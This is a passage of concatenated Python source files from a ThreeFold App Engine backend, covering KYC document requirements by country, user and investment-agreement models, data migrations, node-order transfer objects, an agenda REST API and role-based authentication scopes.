u'PAK': ['national_identity_card_front', 'national_identity_card_back'],
u'PAN': ['passport'],
u'PCN': ['passport'],
u'PER': ['national_identity_card'],
u'PHL': ['national_identity_card_front', 'national_identity_card_back'],
u'PLW': ['passport'],
u'PNG': ['passport'],
u'POL': ['national_identity_card_front', 'national_identity_card_back'],
u'PRI': ['national_identity_card'],
u'PRK': ['passport'],
u'PRT': ['national_identity_card_front', 'national_identity_card_back'],
u'PRY': ['national_identity_card_front', 'national_identity_card_back'],
u'PSE': ['passport'],
u'PYF': ['passport'],
u'QAT': ['national_identity_card'],
u'REU': ['passport'],
u'ROU': ['national_identity_card_front', 'national_identity_card_back'],
u'RUS': ['passport'],
u'RWA': ['passport'],
u'SAU': ['passport'],
u'SDN': ['passport'],
u'SEN': ['passport'],
u'SGP': ['national_identity_card'],
u'SHN': ['passport'],
u'SLB': ['passport'],
u'SLE': ['passport'],
u'SLV': ['passport'],
u'SMR': ['passport'],
u'SOM': ['passport'],
u'SPM': ['passport'],
u'SRB': ['national_identity_card_front', 'national_identity_card_back'],
u'SSD': ['passport'],
u'STP': ['passport'],
u'SVK': ['national_identity_card_front', 'national_identity_card_back'],
u'SVN': ['national_identity_card_front', 'national_identity_card_back'],
u'SWE': ['national_identity_card_front', 'national_identity_card_back'],
u'SWZ': ['passport'],
u'SYC': ['passport'],
u'SYR': ['passport'],
u'TCA': ['passport'],
u'TCD': ['passport'],
u'TGO': ['passport'],
u'THA': ['national_identity_card'],
u'TJK': ['passport'],
u'TKM': ['passport'],
u'TLS': ['passport'],
u'TON': ['passport'],
u'TTO': ['national_identity_card_front', 'national_identity_card_back'],
u'TUN': ['passport'],
u'TUR': ['national_identity_card_front', 'national_identity_card_back'],
u'TWN': ['passport'],
u'TZA': ['passport'],
u'UGA': ['passport'],
u'UKR': ['national_identity_card_front', 'national_identity_card_back'],
u'UMI': ['national_identity_card_front', 'national_identity_card_back'],
u'URY': ['national_identity_card'],
u'USA': ['address_state', 'national_identity_card_front', 'national_identity_card_back'],
u'UZB': ['passport'],
u'VAT': ['passport'],
u'VCT': ['passport'],
u'VEN': ['passport'],
u'VGB': ['passport'],
u'VIR': ['passport'],
u'VNM': ['national_identity_card'],
u'VUT': ['passport'],
u'WSM': ['passport'],
u'YEM': ['passport'],
u'ZAF': ['national_identity_card'],
u'ZMB': ['passport'],
u'ZWE': ['passport']
}
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/kyc/__init__.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from google.appengine.api import urlfetch
from google.appengine.ext import ndb
from google.appengine.ext.deferred import deferred
from mcfw.consts import DEBUG
from mcfw.rpc import arguments
from plugins.tff_backend.bizz.gcs import upload_to_gcs
from plugins.tff_backend.bizz.rogerthat import create_error_message
from plugins.tff_backend.models.user import KYCStatus, TffProfile
@ndb.transactional()
def save_utility_bill(url, profile_key):
from plugins.tff_backend.bizz.user import store_kyc_in_user_data
result = urlfetch.fetch(url) # type: urlfetch._URLFetchResult
if result.status_code != 200:
raise Exception('Invalid status %s %s' % (result.status_code, result.content))
profile = profile_key.get() # type: TffProfile
content_type = result.headers.get('Content-Type', 'image/jpeg')
filename = 'users/%s/utility_bill.jpeg' % profile.username
profile.kyc.utility_bill_url = upload_to_gcs(filename, result.content, content_type)
profile.put()
deferred.defer(store_kyc_in_user_data, profile.app_user, _transactional=ndb.in_transaction())
@arguments(profile=TffProfile)
def validate_kyc_status(profile):
if profile.kyc:
status = profile.kyc.status
if status not in (KYCStatus.UNVERIFIED, KYCStatus.PENDING_SUBMIT):
message = None
if status == KYCStatus.DENIED:
message = 'Sorry, we are regrettably not able to accept you as a customer.'
elif status == KYCStatus.PENDING_APPROVAL or status == KYCStatus.SUBMITTED:
message = 'We already have the information we currently need to pass on to our KYC provider.' \
' We will contact you if we need more info.' \
' Please contact us if you want to update your information.'
elif status == KYCStatus.VERIFIED:
message = 'You have already been verified, so you do not need to enter this process again. Thank you!'
if not DEBUG:
return create_error_message(message)
return profile
|
threefoldfoundation/app_backend | plugins/tff_backend/migrations/_015_user_data.py | <reponame>threefoldfoundation/app_backend<filename>plugins/tff_backend/migrations/_015_user_data.py
# -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
import logging
from google.appengine.ext import ndb
from framework.bizz.job import run_job
from plugins.rogerthat_api.api import system, RogerthatApiException
from plugins.tff_backend.bizz import get_grid_api_key, get_mazraa_api_key
from plugins.tff_backend.bizz.nodes.stats import _put_node_status_user_data
from plugins.tff_backend.bizz.rogerthat import put_user_data
from plugins.tff_backend.bizz.user import get_kyc_user_data
from plugins.tff_backend.models.nodes import Node
from plugins.tff_backend.models.user import TffProfile
from plugins.tff_backend.utils.app import get_app_user_tuple
def migrate():
run_job(_get_profiles, [], _save_data, [])
nodes = Node.query(projection=[Node.username], group_by=[Node.username]).fetch(1000)
complete = []
for node in nodes:
if node.username:
try:
_put_node_status_user_data(TffProfile.create_key(node.username))
complete.append(node.username)
except Exception as e:
logging.exception(e.message)
return complete
def _get_profiles():
return TffProfile.query()
def _save_data(profile_key):
# type: (ndb.Key) -> None
username = profile_key.id()
profile = profile_key.get() # type: TffProfile
grid_data = {
'nodes': [n.to_dict() for n in Node.list_by_user(username)],
}
email, app_id = get_app_user_tuple(profile.app_user)
email = email.email()
put_user_data(get_grid_api_key(), email, app_id, grid_data)
try:
system.put_user_data(get_mazraa_api_key(), email, app_id, get_kyc_user_data(profile))
except RogerthatApiException as e:
if e.code == 60011: # user not in friend list, ignore as this isn't an autoconnected service
logging.info(e.message)
else:
raise
|
threefoldfoundation/app_backend | plugins/tff_backend/to/nodes.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from types import NoneType
from google.appengine.api import search
from google.appengine.ext import ndb
from framework.to import TO
from mcfw.properties import long_property, unicode_property, typed_property, float_property
from plugins.tff_backend.models.hoster import NodeOrder
from plugins.tff_backend.to import PaginatedResultTO
from plugins.tff_backend.to.iyo.see import IYOSeeDocument
class ContactInfoTO(TO):
name = unicode_property('name')
email = unicode_property('email')
phone = unicode_property('phone')
address = unicode_property('address')
class NodeOrderTO(TO):
id = long_property('id')
username = unicode_property('username')
billing_info = typed_property('billing_info', ContactInfoTO)
shipping_info = typed_property('shipping_info', ContactInfoTO)
status = long_property('status')
tos_iyo_see_id = unicode_property('tos_iyo_see_id')
signature_payload = unicode_property('signature_payload')
signature = unicode_property('signature')
order_time = long_property('order_time')
sign_time = long_property('sign_time')
send_time = long_property('send_time')
arrival_time = long_property('arrival_time')
cancel_time = long_property('cancel_time')
modification_time = long_property('modification_time')
odoo_sale_order_id = long_property('odoo_sale_order_id')
socket = unicode_property('socket')
document_url = unicode_property('document_url')
class CreateNodeOrderTO(TO):
username = unicode_property('username')
billing_info = typed_property('billing_info', ContactInfoTO) # type: ContactInfoTO
shipping_info = typed_property('shipping_info', ContactInfoTO) # type: ContactInfoTO
status = long_property('status')
order_time = long_property('order_time')
sign_time = long_property('sign_time')
send_time = long_property('send_time')
odoo_sale_order_id = long_property('odoo_sale_order_id')
document = unicode_property('document')
class NodeOrderListTO(PaginatedResultTO):
results = typed_property('results', NodeOrderTO, True)
@classmethod
def from_query(cls, models, cursor, more):
assert isinstance(cursor, (ndb.Cursor, NoneType))
results = [NodeOrderTO.from_model(model) for model in models]
return cls(cursor and cursor.to_websafe_string().decode('utf-8'), more, results)
@classmethod
def from_search(cls, models, cursor, more):
# type: (list[NodeOrder], search.Cursor, bool) -> object
assert isinstance(cursor, (search.Cursor, NoneType))
orders = [NodeOrderTO.from_model(model) for model in models]
return cls(cursor and cursor.web_safe_string.decode('utf-8'), more, orders)
class UserNodeStatusTO(TO):
profile = typed_property('profile', dict)
node = typed_property('node', dict)
class UpdateNodePayloadTO(TO):
username = unicode_property('username')
class CreateNodeTO(TO):
id = unicode_property('id')
username = unicode_property('username')
class UpdateNodeStatusTO(TO):
info = typed_property('info', dict)
stats = typed_property('stats', dict)
chain_status = typed_property('chain_status', dict)
class AuditLogNodeTO(TO):
id = unicode_property('id')
username = unicode_property('username')
|
threefoldfoundation/app_backend | plugins/tff_backend/utils/__init__.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import json
import re
from google.appengine.ext import db
from mcfw.rpc import returns, arguments
from plugins.rogerthat_api.to.messaging.flow import BaseFlowStepTO
HUMAN_READABLE_TAG_REGEX = re.compile('(.*?)\\s*\\{.*\\}')
@returns(unicode)
@arguments(tag=unicode)
def parse_to_human_readable_tag(tag):
if tag is None:
return None
if tag.startswith('{') and tag.endswith('}'):
try:
tag_dict = json.loads(tag)
except:
return tag
return tag_dict.get('__rt__.tag', tag)
m = HUMAN_READABLE_TAG_REGEX.match(tag)
if m:
return m.group(1)
return tag
@returns(BaseFlowStepTO)
@arguments(steps=[BaseFlowStepTO], step_id=unicode)
def get_step(steps, step_id):
# type: (list[BaseFlowStepTO], unicode) -> Optional[BaseFlowStepTO]
for step in reversed(steps):
if step.step_id == step_id:
return step
return None
@returns(object)
@arguments(steps=[BaseFlowStepTO], step_id=unicode)
def get_step_value(steps, step_id):
step = get_step(steps, step_id)
return step and step.get_value()
def is_flag_set(flag, value):
return value & flag == flag
def set_flag(flag, value):
return flag | value
def unset_flag(flag, value):
return value & ~flag
def round_currency_amount(currency, amount):
decimals_after_comma = 8 if currency == 'BTC' else 2
return round(amount, decimals_after_comma)
def convert_to_str(data):
from framework.utils import convert_to_str as convert
return convert(data)
def get_key_name_from_key_string(key_string):
try:
return db.Key(key_string).name()
except db.BadArgumentError:
return key_string
|
threefoldfoundation/app_backend | plugins/tff_backend/migrations/_011_move_nodes.py | # -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
from google.appengine.ext import ndb
from plugins.tff_backend.models.nodes import Node
from plugins.tff_backend.models.user import TffProfile
def migrate(dry_run=False):
to_put = []
for profile in TffProfile.query():
if profile.nodes:
for node in profile.nodes:
to_put.append(Node(key=Node.create_key(node.id),
serial_number=node.serial_number,
username=profile.username if profile.username != 'threefold_dummy_1' else None,
last_update=node.last_update))
if dry_run:
return to_put
ndb.put_multi(to_put)
def cleanup():
to_put = []
for profile in TffProfile.query():
if 'nodes' in profile._properties:
del profile._properties['nodes']
to_put.append(profile)
ndb.put_multi(to_put)
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/messages.py | <filename>plugins/tff_backend/bizz/messages.py
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import logging
from google.appengine.ext import deferred, ndb
from mcfw.consts import DEBUG
from plugins.rogerthat_api.to import MemberTO
from plugins.tff_backend.bizz.intercom_helpers import send_intercom_email
from plugins.tff_backend.bizz.iyo.utils import get_username
from plugins.tff_backend.bizz.rogerthat import send_rogerthat_message
from plugins.tff_backend.plugin_consts import INTERCOM_QUEUE
from plugins.tff_backend.utils.app import get_app_user_tuple
def send_message_and_email(app_user, message, subject, api_key):
if not DEBUG:
human_user, app_id = get_app_user_tuple(app_user)
member = MemberTO(member=human_user.email(), app_id=app_id, alert_flags=0)
deferred.defer(send_rogerthat_message, member, message, api_key=api_key, _transactional=ndb.in_transaction())
iyo_username = get_username(app_user)
message += '\n\nKind regards,\nThe ThreeFold Team'
if iyo_username is None:
logging.error('Could not find itsyou.online username for app_user %s, not sending intercom email'
'\nSubject: %s\nMessage:%s', app_user, subject, message)
else:
deferred.defer(send_intercom_email, iyo_username, subject, message, _transactional=ndb.in_transaction(),
_queue=INTERCOM_QUEUE)
else:
logging.info('send_message_and_email %s\n %s\n %s', app_user, message, subject)
|
threefoldfoundation/app_backend | plugins/tff_backend/models/user.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from google.appengine.ext import ndb
from enum import IntEnum
from framework.models.common import NdbModel
from plugins.tff_backend.plugin_consts import NAMESPACE
class KYCStatus(IntEnum):
DENIED = -10
UNVERIFIED = 0 # Not verified, and not applied to be verified yet
PENDING_SUBMIT = 10 # KYC flow has been sent to the user
SUBMITTED = 20 # KYC flow has been set by user
# Admin verified the info sent in by the user, completed any missing data
# Info is now ready to be checked to Onfido
INFO_SET = 30
PENDING_APPROVAL = 40 # API call to Onfido done, admin has to mark user as approved/denied now
VERIFIED = 50 # Approved by admin
KYC_STATUSES = map(int, KYCStatus)
class KYCStatusUpdate(NdbModel):
comment = ndb.StringProperty()
author = ndb.StringProperty()
timestamp = ndb.DateTimeProperty(auto_now_add=True)
from_status = ndb.IntegerProperty(choices=KYC_STATUSES)
to_status = ndb.IntegerProperty(choices=KYC_STATUSES)
class KYCInformation(NdbModel):
NAMESPACE = NAMESPACE
status = ndb.IntegerProperty(choices=KYC_STATUSES)
updates = ndb.LocalStructuredProperty(KYCStatusUpdate, repeated=True, compressed=True)
applicant_id = ndb.StringProperty()
utility_bill_url = ndb.StringProperty()
utility_bill_verified = ndb.BooleanProperty(default=False)
def set_status(self, new_status, author, comment=None):
self.updates.append(KYCStatusUpdate(from_status=self.status,
to_status=new_status,
author=author,
comment=comment))
self.status = new_status
class TffProfileInfo(NdbModel):
NAMESPACE = NAMESPACE
email = ndb.StringProperty()
name = ndb.StringProperty(indexed=False)
language = ndb.StringProperty(indexed=False)
avatar_url = ndb.StringProperty(indexed=False)
class TffProfile(NdbModel):
NAMESPACE = NAMESPACE
app_user = ndb.UserProperty()
referrer_user = ndb.UserProperty()
referrer_username = ndb.StringProperty()
kyc = ndb.StructuredProperty(KYCInformation) # type: KYCInformation
info = ndb.StructuredProperty(TffProfileInfo) # type: TffProfileInfo
@property
def username(self):
return self.key.id().decode('utf8')
@property
def referral_code(self):
from plugins.tff_backend.bizz.user import user_code
return user_code(self.username)
@classmethod
def create_key(cls, username):
return ndb.Key(cls, username, namespace=NAMESPACE)
def to_dict(self, extra_properties=None, include=None, exclude=None):
return super(TffProfile, self).to_dict(extra_properties or ['username', 'referral_code'], include, exclude)
@classmethod
def list_by_email(cls, email):
return cls.query().filter(cls.info.email == email)
@classmethod
def get_by_app_user(cls, app_user):
return cls.query(cls.app_user == app_user).get()
class ProfilePointer(NdbModel):
NAMESPACE = NAMESPACE
username = ndb.StringProperty()
@property
def user_code(self):
return self.key.string_id().decode('utf8')
@classmethod
def create_key(cls, username):
from plugins.tff_backend.bizz.user import user_code
return ndb.Key(cls, user_code(username), namespace=NAMESPACE)
@classmethod
def get_by_user_code(cls, user_code):
return ndb.Key(cls, user_code, namespace=NAMESPACE).get()
|
threefoldfoundation/app_backend | plugins/tff_backend/handlers/testing.py | <reponame>threefoldfoundation/app_backend<gh_stars>0
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import webapp2
from plugins.tff_backend.bizz.agreements import create_hosting_agreement_pdf, create_token_agreement_pdf
from plugins.tff_backend.bizz.investor import _get_currency_name
from plugins.tff_backend.consts.payment import TOKEN_TFT
class AgreementsTestingPageHandler(webapp2.RequestHandler):
def get(self, *args, **kwargs):
type_ = self.request.get("type", "investor")
name = u"__NAME__"
address = u"__ADDRESS__"
if type_ == "hoster":
pdf = create_hosting_agreement_pdf(name, address)
elif type_ == "investor":
token = self.request.get("token", TOKEN_TFT)
currency = self.request.get("currency", "USD")
amount = 123.456789123456789
pdf = create_token_agreement_pdf(name, address, amount, _get_currency_name(currency), currency, token,
payment_info=None, has_verified_utility_bill=True)
else:
self.response.out.write(u"Invalid pdf type %s" % type_)
return
self.response.headers['Content-Type'] = 'application/pdf'
self.response.headers['Content-Disposition'] = str('inline; filename=testing.pdf')
self.response.out.write(pdf)
|
threefoldfoundation/app_backend | plugins/tff_backend/models/investor.py | <gh_stars>0
from google.appengine.ext import ndb
from enum import IntEnum
from framework.models.common import NdbModel
from framework.utils import now
from plugins.tff_backend.bizz.gcs import get_serving_url, encrypt_filename
from plugins.tff_backend.consts.payment import TOKEN_TFT
from plugins.tff_backend.plugin_consts import NAMESPACE
class PaymentInfo(IntEnum):
UAE = 1
HAS_MULTIPLIED_TOKENS = 2
class InvestmentAgreement(NdbModel):
NAMESPACE = NAMESPACE
STATUS_CANCELED = -1
STATUS_CREATED = 0
STATUS_SIGNED = 1
STATUS_PAID = 2
def _compute_token_count(self):
return round(float(self.token_count) / pow(10, self.token_precision), self.token_precision)
app_user = ndb.UserProperty() # todo: remove after migration 014
username = ndb.StringProperty()
amount = ndb.FloatProperty(indexed=False)
token = ndb.StringProperty(indexed=False, default=TOKEN_TFT)
token_count_float = ndb.ComputedProperty(_compute_token_count, indexed=False) # Real amount of tokens
token_count = ndb.IntegerProperty(indexed=False, default=0) # amount of tokens x 10 ^ token_precision
token_precision = ndb.IntegerProperty(indexed=False, default=0)
currency = ndb.StringProperty(indexed=False)
name = ndb.StringProperty(indexed=False)
address = ndb.StringProperty(indexed=False)
reference = ndb.StringProperty(indexed=False)
iyo_see_id = ndb.StringProperty(indexed=False)
signature_payload = ndb.StringProperty(indexed=False)
signature = ndb.StringProperty(indexed=False)
status = ndb.IntegerProperty(default=STATUS_CREATED)
creation_time = ndb.IntegerProperty()
sign_time = ndb.IntegerProperty()
paid_time = ndb.IntegerProperty()
cancel_time = ndb.IntegerProperty()
modification_time = ndb.IntegerProperty()
version = ndb.StringProperty()
payment_info = ndb.IntegerProperty(repeated=True, choices=map(int, PaymentInfo))
def _pre_put_hook(self):
self.modification_time = now()
def _post_put_hook(self, future):
from plugins.tff_backend.dal.investment_agreements import index_investment_agreement
if ndb.in_transaction():
from google.appengine.ext import deferred
deferred.defer(index_investment_agreement, self, _transactional=True)
else:
index_investment_agreement(self)
@property
def id(self):
return self.key.id()
@property
def document_url(self):
return get_serving_url(self.filename(self.id))
@classmethod
def filename(cls, agreement_id):
return u'purchase-agreements/%s.pdf' % encrypt_filename(agreement_id)
@classmethod
def create_key(cls, agreement_id):
return ndb.Key(cls, agreement_id, namespace=NAMESPACE)
@classmethod
def list(cls):
return cls.query()
@classmethod
def list_by_user(cls, username):
return cls.query() \
.filter(cls.username == username)
@classmethod
def list_by_status_and_user(cls, username, statuses):
# type: (unicode, list[int]) -> list[InvestmentAgreement]
statuses = [statuses] if isinstance(statuses, int) else statuses
return [investment for investment in cls.list_by_user(username) if investment.status in statuses]
def to_dict(self, extra_properties=[], include=None, exclude=None):
return super(InvestmentAgreement, self).to_dict(extra_properties + ['document_url'], include, exclude)
|
threefoldfoundation/app_backend | plugins/tff_backend/api/agenda.py | <filename>plugins/tff_backend/api/agenda.py
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from mcfw.restapi import rest
from mcfw.rpc import returns, arguments
from plugins.tff_backend.bizz.agenda import list_events, get_event, put_event, list_participants
from plugins.tff_backend.bizz.audit.audit import audit
from plugins.tff_backend.bizz.audit.mapping import AuditLogType
from plugins.tff_backend.bizz.authentication import Scopes
from plugins.tff_backend.to.agenda import EventTO, EventParticipantListTO
@rest('/agenda-events', 'get', Scopes.BACKEND_READONLY, silent_result=True)
@returns([EventTO])
@arguments(past=bool)
def api_list_events(past=False):
return [EventTO.from_model(model) for model in list_events(past)]
@rest('/agenda-events', 'post', Scopes.BACKEND_ADMIN)
@returns(EventTO)
@arguments(data=EventTO)
def api_create_event(data):
return EventTO.from_model(put_event(data))
@rest('/agenda-events/<event_id:[^/]+>/participants', 'get', Scopes.BACKEND_READONLY, silent_result=True)
@returns(EventParticipantListTO)
@arguments(event_id=(int, long), cursor=unicode, page_size=(int, long))
def api_list_event_participants(event_id, cursor=None, page_size=50):
return list_participants(event_id, cursor, page_size)
@rest('/agenda-events/<event_id:[^/]+>', 'get', Scopes.BACKEND_READONLY)
@returns(EventTO)
@arguments(event_id=(int, long))
def api_get_event(event_id):
return EventTO.from_model(get_event(event_id))
@audit(AuditLogType.UPDATE_AGENDA_EVENT, 'event_id')
@rest('/agenda-events/<event_id:[^/]+>', 'put', Scopes.BACKEND_ADMIN)
@returns(EventTO)
@arguments(event_id=(int, long), data=EventTO)
def api_put_event(event_id, data):
data.id = event_id
return EventTO.from_model(put_event(data))
|
threefoldfoundation/app_backend | plugins/tff_backend/to/__init__.py | <gh_stars>0
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from framework.to import TO
from mcfw.properties import unicode_property, bool_property, typed_property
class PaginatedResultTO(TO):
cursor = unicode_property('cursor')
more = bool_property('more')
results = typed_property('results', dict, True) # Must be overwritten by superclass
def __init__(self, cursor=None, more=False, results=None):
super(PaginatedResultTO, self).__init__(cursor=cursor, more=more, results=results or [])
|
threefoldfoundation/app_backend | plugins/tff_backend/models/global_stats.py | <filename>plugins/tff_backend/models/global_stats.py
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from google.appengine.ext import ndb
from framework.models.common import NdbModel
from plugins.tff_backend.plugin_consts import NAMESPACE
class CurrencyValue(NdbModel):
currency = ndb.StringProperty()
value = ndb.FloatProperty()
timestamp = ndb.IntegerProperty()
auto_update = ndb.BooleanProperty(default=True)
class GlobalStats(NdbModel):
NAMESPACE = NAMESPACE
name = ndb.StringProperty()
token_count = ndb.IntegerProperty()
unlocked_count = ndb.IntegerProperty()
value = ndb.FloatProperty() # Value in dollar
# Value per other currency
currencies = ndb.LocalStructuredProperty(CurrencyValue, repeated=True) # type: list[CurrencyValue]
market_cap = ndb.ComputedProperty(lambda self: (self.value or 0) * self.unlocked_count, indexed=False)
@property
def id(self):
return self.key.id().decode('utf-8')
@classmethod
def create_key(cls, currency):
return ndb.Key(cls, currency, namespace=NAMESPACE)
@classmethod
def list(cls):
return cls.query()
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/authentication.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from __future__ import unicode_literals
import re
from framework.plugin_loader import get_config
from plugins.its_you_online_auth.plugin_consts import NAMESPACE as IYO_NAMESPACE
config = get_config(IYO_NAMESPACE)
ROOT_ORGANIZATION = config.root_organization.name
MEMBEROF_REGEX = re.compile('^user:memberof:%s\.(.*)' % ROOT_ORGANIZATION)
class RogerthatRoles(object):
MEMBERS = 'members'
INVESTOR = 'investors'
class Roles(object):
BACKEND = 'backend'
BACKEND_ADMIN = 'backend.admin'
BACKEND_READONLY = 'backend.readonly'
NODES = 'backend.nodes'
NODES_ADMIN = 'backend.nodes.admin'
NODES_READONLY = 'backend.nodes.readonly'
PUBLIC = 'public'
HOSTERS = 'hosters'
MEMBERS = 'members'
INVESTOR = 'investors'
class Organization(object):
BACKEND = '%s.%s' % (ROOT_ORGANIZATION, Roles.BACKEND)
BACKEND_ADMIN = '%s.%s' % (ROOT_ORGANIZATION, Roles.BACKEND_ADMIN)
BACKEND_READONLY = '%s.%s' % (ROOT_ORGANIZATION, Roles.BACKEND_READONLY)
NODES = '%s.%s' % (ROOT_ORGANIZATION, Roles.NODES)
NODES_ADMIN = '%s.%s' % (ROOT_ORGANIZATION, Roles.NODES_ADMIN)
NODES_READONLY = '%s.%s' % (ROOT_ORGANIZATION, Roles.NODES_READONLY)
class Scope(object):
_memberof = 'user:memberof:%s'
ROOT_ADMINS = _memberof % ROOT_ORGANIZATION
BACKEND = _memberof % Organization.BACKEND
BACKEND_ADMIN = _memberof % Organization.BACKEND_ADMIN
BACKEND_READONLY = _memberof % Organization.BACKEND_READONLY
NODES = _memberof % Organization.NODES
NODES_ADMIN = _memberof % Organization.NODES_ADMIN
NODES_READONLY = _memberof % Organization.NODES_READONLY
class Scopes(object):
BACKEND_ADMIN = [Scope.ROOT_ADMINS, Scope.BACKEND, Scope.BACKEND_ADMIN]
BACKEND_READONLY = BACKEND_ADMIN + [Scope.BACKEND_READONLY]
NODES_ADMIN = BACKEND_READONLY + [Scope.NODES, Scope.NODES_ADMIN]
NODES_READONLY = NODES_ADMIN + [Scope.NODES_READONLY]
def get_permissions_from_scopes(scopes):
permissions = []
for scope in scopes:
if scope == Scope.ROOT_ADMINS:
permissions.append(Roles.BACKEND_ADMIN)
break
users_re = MEMBEROF_REGEX.match(scope)
# e.g. {root_org}.members
if users_re:
groups = users_re.groups()
permissions.append(groups[0])
return permissions
def get_permission_strings(scopes):
return ['tff.%s' % p for p in get_permissions_from_scopes(scopes)]
|
threefoldfoundation/app_backend | plugins/tff_backend/api/nodes.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
